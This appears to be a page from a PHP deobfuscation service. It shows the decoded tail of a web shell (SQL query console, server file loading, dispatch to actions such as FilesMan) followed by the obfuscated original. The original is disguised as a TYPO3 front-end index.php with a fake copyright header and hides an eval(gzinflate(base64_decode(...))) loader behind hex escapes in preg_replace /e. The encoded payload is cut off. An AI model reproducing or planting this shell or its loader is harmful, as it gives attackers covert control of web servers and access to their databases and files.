									echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
							}
							echo '</tr>';
						}
						echo '</table>';
					} else {
						echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
					}
				}
				echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
                if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
                    echo htmlspecialchars($_POST['p2']);
                echo "</textarea><br/><input type=submit value='Execute'>";
				echo "</td></tr>";
			}
			echo "</table></form><br/>";
            if($_POST['type']=='mysql') {
                $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
                if($db->fetch())
                    echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
            }
			if(@$_POST['p1'] == 'loadfile') {
				$file = $db->loadFile($_POST['p2']);
				echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
			}
	} else {
        echo htmlspecialchars($db->error());
    }
	echo '</div>';
	typFooter();
}if( empty($_POST['a']) )
	if(isset($default_action) && function_exists('action' . $default_action))
		$_POST['a'] = $default_action;
	else
		$_POST['a'] = 'FilesMan';
if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
	call_user_func('action' . $_POST['a']);
exit;

Did this file decode correctly?

Original Code

<?php
/***************************************************************
*  Copyright notice
*
*  (c) 1999-2010 Kasper Skaarhoj ([email protected])
*  All rights reserved
*
*  This script is part of the TYPO3 project. The TYPO3 project is
*  free software; you can redistribute it and/or modify
*  it under the terms of the GNU General Public License as published by
*  the Free Software Foundation; either version 2 of the License, or
*  (at your option) any later version.
*
*  The GNU General Public License can be found at
*  http://www.gnu.org/copyleft/gpl.html.
*  A copy is found in the textfile GPL.txt and important notices to the license
*  from the author is found in LICENSE.txt distributed with these scripts.
*
*
*  This script is distributed in the hope that it will be useful,
*  but WITHOUT ANY WARRANTY; without even the implied warranty of
*  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
*  GNU General Public License for more details.
*
*  This copyright notice MUST APPEAR in all copies of the script!
***************************************************************/
/**
 * This is the MAIN DOCUMENT of the TypoScript driven standard front-end (from the "cms" extension)
 * Basically this is the "index.php" script which all requests for TYPO3 delivered pages goes to in the frontend (the website)
 *
 * $Id$
 *
 * @author	Ren Fritz <[email protected]>
 * @package TYPO3
 * @subpackage tslib
 */

// *******************************
// Set error reporting
// *******************************
$auth_pass = "";
$color = "#ddff55";
$default_use_ajax = true;
$default_charset = 'Windows-1251';
$default_action='FilesMan';
preg_replace("/.*/e","\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'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